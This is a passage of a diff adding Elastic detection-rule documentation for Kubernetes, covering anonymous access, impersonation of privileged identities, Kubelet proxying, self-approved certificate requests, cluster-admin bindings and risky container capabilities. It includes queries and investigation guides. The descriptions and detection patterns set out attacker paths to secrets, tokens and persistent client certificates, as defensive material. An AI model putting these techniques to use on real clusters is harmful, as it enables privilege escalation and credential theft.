TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..5f5ea479da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-anonymous-request-authorized-by-unusual-user-agent.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-kubernetes-anonymous-request-authorized-by-unusual-user-agent]] +=== Kubernetes Anonymous Request Authorized by Unusual User Agent + +This rule detects when an unauthenticated user request is authorized within the cluster via an unusual user agent. Attackers may attempt to use anonymous accounts to gain initial access to the cluster or to avoid attribution of their activities within the cluster. This rule excludes the /healthz, /livez, /version and /.well-known/oauth-authorization-server endpoints which are commonly accessed anonymously. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Anonymous Request Authorized by Unusual User Agent* + + +Kubernetes, a container orchestration platform, manages workloads and services. It uses authentication to control access. Adversaries might exploit anonymous access to perform unauthorized actions without leaving traces. The detection rule identifies unauthorized access by monitoring audit logs for anonymous requests that are allowed, excluding common health check endpoints, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:kubernetes.audit_logs to identify the context and details of the anonymous request. +- Examine the kubernetes.audit.user.username field to confirm if the request was made by "system:anonymous" or "system:unauthenticated" and assess the potential risk associated with these accounts. +- Analyze the kubernetes.audit.requestURI to determine the target of the request and verify if it is outside the excluded endpoints (/healthz, /livez, /readyz), which could indicate suspicious activity. +- Investigate the source IP address and other network metadata associated with the request to identify the origin and assess if it aligns with known or expected traffic patterns. +- Check for any subsequent or related activities in the audit logs that might indicate further unauthorized actions or attempts to exploit the cluster. + + +*False positive analysis* + + +- Health check endpoints like /healthz, /livez, and /readyz are already excluded, but ensure any custom health check endpoints are also excluded to prevent false positives. +- Regularly scheduled maintenance tasks or automated scripts that use anonymous access for legitimate purposes should be identified and excluded from the rule to avoid unnecessary alerts. +- Some monitoring tools might use anonymous requests for gathering metrics; verify these tools and exclude their specific request patterns if they are known to be safe. +- Development environments might have different access patterns compared to production; consider creating separate rules or exceptions for non-production clusters to reduce noise. +- Review the audit logs to identify any recurring anonymous requests that are part of normal operations and adjust the rule to exclude these specific cases. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access and potential lateral movement by the adversary. +- Revoke any anonymous access permissions that are not explicitly required for the operation of the cluster, ensuring that all access is authenticated and authorized. +- Conduct a thorough review of the audit logs to identify any unauthorized actions performed by anonymous users and assess the impact on the cluster. +- Reset credentials and access tokens for any accounts that may have been compromised or used in conjunction with the anonymous access. +- Implement network segmentation to limit the exposure of the Kubernetes API server to only trusted networks and users. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or systems are affected. +- Enhance monitoring and alerting for unauthorized access attempts, focusing on detecting and responding to similar threats in the future. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.user.username:("system:anonymous" or "system:unauthenticated" or not *) and +user_agent.original:(* and not (*kubernetes/$Format)) and +not kubernetes.audit.requestURI:(/healthz* or /livez* or /readyz* or /version or /.well-known/oauth-authorization-server) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc new file mode 100644 index 0000000000..e99f4a1059 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc @@ -0,0 +1,71 @@ +[[prebuilt-rule-8-19-34-kubernetes-anonymous-user-create-update-patch-pods-request]] +=== Kubernetes Anonymous User Create/Update/Patch Pods Request + +This rule detects attempts to create, update, or patch pods by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. Creating, updating, or patching pods is a common activity for attackers to gain access to the cluster and execute commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and ( + kubernetes.audit.user.username in ("system:anonymous", "system:unauthenticated") or + kubernetes.audit.user.username == null or + kubernetes.audit.user.username == "" + ) and kubernetes.audit.level in ("RequestResponse", "ResponseComplete", "Request") and kubernetes.audit.verb in ("create", "update", "patch") and +kubernetes.audit.objectRef.resource == "pods" + + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-api-request-impersonating-privileged-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-api-request-impersonating-privileged-identity.asciidoc new file mode 100644 index 0000000000..2dd74bea17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-api-request-impersonating-privileged-identity.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-kubernetes-api-request-impersonating-privileged-identity]] +=== Kubernetes API Request Impersonating Privileged Identity + +Detects Kubernetes API requests where a user is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a member of the system:masters group. These identities have broad cluster-wide permissions including unrestricted access to all secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC policies. An attacker impersonating system:masters gains full cluster-admin equivalent access, while impersonating system:kube-controller-manager grants access to every secret in every namespace and the ability to mint service account tokens for lateral movement. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes API Request Impersonating Privileged Identity* + + +Compare the real actor (user.name, groups, source.ip, user_agent.original) with impersonated +fields (kubernetes.audit.impersonatedUser.username, kubernetes.audit.impersonatedUser.groups). Confirm whether +impersonation is authorized for that principal and target identity. + + +*Possible investigation steps* + + +- Review kubernetes.audit.requestURI, kubernetes.audit.verb, and kubernetes.audit.objectRef for the scope of the + operation performed while impersonating. +- Determine whether the real user or service account should have impersonate rights against the impersonated user + or group; inspect RBAC impersonate verb bindings and any recent changes. +- Correlate with adjacent audit activity (secrets, tokens, RBAC writes, CSR approval) from the same source identity. +- Hunt for repeated impersonation across namespaces or rapid pivoting after the event. + + +*Response and remediation* + + +- Revoke or tighten impersonate permissions for unexpected identities; rotate credentials for any account that may + have abused impersonation. +- If unauthorized, treat as cluster-wide credential risk: review secrets exposure, issued tokens, and RBAC drift; + engage incident response per policy. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:kubernetes.audit_logs and +kubernetes.audit.impersonatedUser.username:(* and not ("eks-event-service:event-controller" or eks\:*)) and +kubernetes.audit.annotations.authorization_k8s_io/decision:allow and +kubernetes.audit.verb:(create or delete or get or list or patch or update) and +(kubernetes.audit.impersonatedUser.username:(admin or cluster-admin or kubernetes-admin or "system:admin" or "system:anonymous" or "system:apiserver" or "system:kube-controller-manager" or "system:kube-proxy" or "system:kube-scheduler" or "system:volume-scheduler" or system\:node\:* or system\:serviceaccount\:kube-system\:*) or kubernetes.audit.impersonatedUser.groups:(cluster-admin or "system:cluster-admins" or "system:masters")) and +not user.name:(acsService or aksService or masterclient or nodeclient or "system:kube-controller-manager" or "system:kube-scheduler" or arn\:aws\:iam\:*\:role/aws-service-role* or arn\:aws\:sts\:*\:assumed-role/AWSServiceRoleForAmazonEKS* or arn\:aws\:sts\:*\:assumed-role/AWSServiceRoleForAmazonEKSNodegroup* or eks\:* or system\:node\:* or system\:serviceaccount\:kube-system\:*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-api-server-proxying-request-to-kubelet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-api-server-proxying-request-to-kubelet.asciidoc new file mode 100644 index 0000000000..d283ca3b24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-api-server-proxying-request-to-kubelet.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-kubernetes-api-server-proxying-request-to-kubelet]] +=== Kubernetes API Server Proxying Request to Kubelet + +Detects non-system identities using the Kubernetes nodes/proxy API to proxy requests through the API server directly to a node's Kubelet. The nodes/proxy subresource allows any principal with this RBAC permission to reach the Kubelet API on any worker node without needing direct network access or Kubelet TLS certificates. Through this proxy path, an attacker can list all pod specifications including environment variable secrets, read Kubelet configuration and PKI material, retrieve container logs, and access running pod metadata across all workloads on the target node. Monitoring and health check endpoints such as /metrics, /healthz, and /stats are excluded to reduce noise from legitimate observability tooling. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/cluster-administration/proxies/ +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes API Server Proxying Request to Kubelet* + + +Review the user.name, source.ip, and user_agent.original fields to determine who initiated the proxy request and from +where. Examine kubernetes.audit.requestURI to identify which Kubelet endpoint was proxied — the path after /proxy/ +maps directly to the Kubelet API path the attacker accessed. + + +*Possible investigation steps* + + +- Check the proxied Kubelet path in requestURI to determine attacker intent: + - /proxy/pods — pod spec enumeration including environment variable secrets + - /proxy/exec or /proxy/run — command execution inside containers on that node + - /proxy/configz — Kubelet configuration and authentication settings + - /proxy/runningpods — active workload enumeration + - /proxy/containerLogs — log harvesting for leaked credentials +- Identify how the principal obtained nodes/proxy permission by reviewing RBAC bindings +- Check if a ServiceAccount token was created shortly before via the TokenRequest API - this + indicates the attacker minted a token specifically for this access. +- Review whether the same principal accessed multiple nodes via proxy in a short window, which + indicates systematic lateral movement across the cluster. + + +*False positive analysis* + + +- Prometheus, Datadog, and other monitoring agents scrape /metrics and /stats via nodes/proxy. + These endpoints are excluded by default. If additional monitoring paths generate noise, add + them to the requestURI exclusion. +- Cluster administration tools that inspect node health via the proxy API can match. Correlate + with change management windows and verify the source identity. + + +*Response and remediation* + + +- Immediately review the RBAC role granting nodes/proxy permission and determine if the binding + is authorized. Remove unauthorized bindings. +- If /proxy/pods was accessed, assume all environment variable secrets on that node are compromised. + Rotate affected credentials, API keys, and database passwords. +- If /proxy/exec or /proxy/run was accessed, treat the target node as compromised. Isolate the node, + review running containers for unauthorized modifications, and check for persistence mechanisms. +- Audit all ClusterRoles for nodes/proxy permission — this is a powerful privilege that should be + restricted to infrastructure automation only, never granted to application service accounts. + + +==== Rule query + + +[source, js] +---------------------------------- +kubernetes.audit.objectRef.subresource:"proxy" and +kubernetes.audit.objectRef.resource:"nodes" and +not kubernetes.audit.requestURI:(*metrics* or *healthz* or *stats/summary* or *elastic-agent* or *configz*) and +not user.name:( + system\:kube-controller-manager or + system\:kube-scheduler or + system\:serviceaccount\:kube-system\:* or + system\:node\:* or + eks\:* or aksService +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-client-certificate-signing-request-created-or-approved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-client-certificate-signing-request-created-or-approved.asciidoc new file mode 100644 index 0000000000..30c080fe45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-client-certificate-signing-request-created-or-approved.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-kubernetes-client-certificate-signing-request-created-or-approved]] +=== Kubernetes Client Certificate Signing Request Created or Approved + +Detects creation or approval of a Kubernetes CertificateSigningRequest (CSR) by a non-system identity. Attackers who have gained cluster access can submit a CSR with a privileged Common Name such as system:kube-controller-manager or system:masters, then approve it themselves to obtain a long-lived client certificate. Unlike service account tokens which expire in hours, client certificates persist until they expire or the cluster CA is rotated, providing durable access that survives pod termination, token revocation, and RBAC changes. On non-EKS clusters, the signed certificate allows the attacker to authenticate as the privileged identity from anywhere without needing cluster network access, making it one of the most persistent backdoor mechanisms available in Kubernetes. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://attack.mitre.org/techniques/T1098/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Client Certificate Signing Request Created or Approved* + + +Identify the actor (`user.name`, groups), client (`user_agent.original`), and `source.ip`. Confirm whether the +principal is expected to create or approve CSRs. Review `kubernetes.audit.requestURI` and, when audit level captures +request bodies, the CSR `spec` (requested signer, usages, and requested identity / Common Name). + + +*Extracting the Certificate Common Name* + + +For create events, "kubernetes.audit.requestObject.spec.request" holds the base64-encoded PEM certificate signing request. +Decode that value to PEM, then inspect the CSR subject (for example with OpenSSL’s CSR subject view) to read the +requested Common Name (CN). + +Known base64 substrings that often appear inside the encoded request for high-risk identities: + +- `c3lzdGVtOm1hc3Rlcn` — `system:masters` +- `c3lzdGVtOmt1YmUtY29udHJvbGxlci1tYW5hZ2Vy` — `system:kube-controller-manager` +- `c3lzdGVtOmFkbWlu` — `system:admin` + +Priority CNs that usually indicate privilege escalation intent: + +- `system:masters` (cluster-admin group) +- `system:kube-controller-manager` (broad control-plane–style access, including secrets and token minting) +- `system:kube-scheduler` (scheduling across the cluster) +- `system:kube-proxy` (node/network–adjacent access) +- Any CN that matches an existing ClusterRoleBinding subject name + + +*Possible investigation steps* + + +- Compare the CSR name and extracted CN against approved PKI or bootstrap processes. +- Determine whether the same identity both created and approved or patched the CSR in a short window, which matches + self-approval abuse. +- Review `kubernetes.audit.objectRef` and subsequent authentication or API activity from unusual networks. +- Correlate with RBAC changes, secret access, or TokenRequest activity that preceded CSR activity. + + +*Response and remediation* + + +- If malicious, deny further approval, delete or deny the CSR per incident policy, revoke or rotate cluster signing + trust if the CA or signer was abused, and invalidate issued credentials. +- Remove excessive RBAC that allows `certificatesigningrequests` create/update/patch or approval for untrusted + identities; enforce signer restrictions and approved issuers where supported. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.objectRef.resource:"certificatesigningrequests" and +kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +not user.name:( + system\:kube-controller-manager or + system\:kube-scheduler or + system\:node\:* or + system\:serviceaccount\:kube-system\:* or + eks\:* or aksService +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-cluster-admin-role-binding-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-cluster-admin-role-binding-created.asciidoc new file mode 100644 index 0000000000..ce7cea4b8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-cluster-admin-role-binding-created.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-kubernetes-cluster-admin-role-binding-created]] +=== Kubernetes Cluster-Admin Role Binding Created + +This rule detects the creation of a RoleBinding or ClusterRoleBinding that grants the cluster-admin ClusterRole, which provides unrestricted access to all Kubernetes resources and represents a high-risk privilege escalation or misconfiguration. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Cluster-Admin Role Binding Created* + + +This rule flags when someone creates a RoleBinding or ClusterRoleBinding that assigns the cluster-admin role, which grants unrestricted control over every Kubernetes resource and enables rapid privilege escalation or persistence. Attackers often abuse a stolen namespace service account to bind it to cluster-admin, then pivot to read secrets, change security controls, or deploy a privileged DaemonSet across all nodes to maintain control. + + +*Possible investigation steps* + + +- Identify who created the binding by reviewing the audit event user identity, groups, source IP, and user agent, and confirm whether it matches an approved admin workflow or automation. +- Inspect the created RoleBinding or ClusterRoleBinding to determine which subject received cluster-admin, whether it targets a service account or external identity, and whether the subject is expected to have cluster-wide privileges. +- Correlate the creator and bound subject with recent authentication events and credential changes to spot compromised accounts, unusual access locations, or use of long-lived tokens. +- Review subsequent Kubernetes audit activity from the same actor or newly privileged subject for rapid follow-on actions such as listing secrets, creating privileged pods/daemonsets, modifying RBAC, or disabling admission controls. +- Validate the change against change management records and repository-based RBAC manifests, and if unauthorized, assess scope by enumerating other recent privileged RBAC grants created around the same time. + + +*False positive analysis* + + +- A cluster bootstrap, upgrade, or recovery workflow legitimately creates or re-creates a ClusterRoleBinding/RoleBinding to `cluster-admin` for a break-glass admin user or core control-plane service account as part of restoring expected RBAC state. +- An approved operational change temporarily grants `cluster-admin` to a namespace service account or automation identity to perform broad maintenance tasks (e.g., installing cluster-scoped resources), and the binding creation is captured during the allowed change window. + + +*Response and remediation* + + +- Immediately identify and delete or edit the newly created RoleBinding/ClusterRoleBinding granting `cluster-admin`, then revoke the bound subject’s access by rotating the affected service account token or disabling the implicated user/identity provider account. +- Quarantine likely-abused workloads by scaling down or deleting pods/deployments created by the newly privileged subject and blocking its network access with namespace isolation policies while you preserve relevant audit logs and YAML manifests. +- Enumerate and undo follow-on changes made after the binding creation, including additional RBAC grants, new cluster-scoped resources (CRDs, webhooks), privileged DaemonSets, secret reads, or changes to admission controllers, and rotate any exposed credentials found in Secrets. +- Recover by restoring RBAC and critical cluster resources from GitOps or known-good backups, then re-apply least-privilege roles and validate access with `kubectl auth can-i` for impacted identities and namespaces. +- Escalate to incident response leadership immediately if the binding targets a service account, an external identity not in the admin group, or if there is evidence of secret access, privileged workload creation, or persistence mechanisms (e.g., new webhooks or DaemonSets). +- Harden by enforcing RBAC via GitOps-only change control, restricting `cluster-admin` binding creation with admission policy (ValidatingAdmissionPolicy/Kyverno/OPA Gatekeeper), requiring MFA and short-lived tokens for admins, and alerting on any creation or modification of cluster-wide RBAC bindings. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "kubernetes.audit_logs" and kubernetes.audit.objectRef.resource:("clusterrolebindings" or "rolebindings") and +kubernetes.audit.verb:"create" and kubernetes.audit.requestObject.roleRef.name:"cluster-admin" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.level:"RequestResponse" and kubernetes.audit.stage:"ResponseComplete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc new file mode 100644 index 0000000000..141eadbb77 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-kubernetes-container-created-with-excessive-linux-capabilities]] +=== Kubernetes Container Created with Excessive Linux Capabilities + +This rule detects a container deployed with one or more dangerously permissive Linux capabilities. An attacker with the ability to deploy a container with added capabilities could use this for further execution, lateral movement, or privilege escalation within a cluster. The capabilities detected in this rule have been used in container escapes to the host machine. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container +* https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities +* https://man7.org/linux/man-pages/man7/capabilities.7.html +* https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Container Created with Excessive Linux Capabilities* + + +Linux capabilities were designed to divide root privileges into smaller units. Each capability grants a thread just enough power to perform specific privileged tasks. In Kubernetes, containers are given a set of default capabilities that can be dropped or added to at the time of creation. Added capabilities entitle containers in a pod with additional privileges that can be used to change +core processes, change network settings of a cluster, or directly access the underlying host. The following have been used in container escape techniques: + +BPF - Allow creating BPF maps, loading BPF Type Format (BTF) data, retrieve JITed code of BPF programs, and more. +DAC_READ_SEARCH - Bypass file read permission checks and directory read and execute permission checks. +NET_ADMIN - Perform various network-related operations. +SYS_ADMIN - Perform a range of system administration operations. 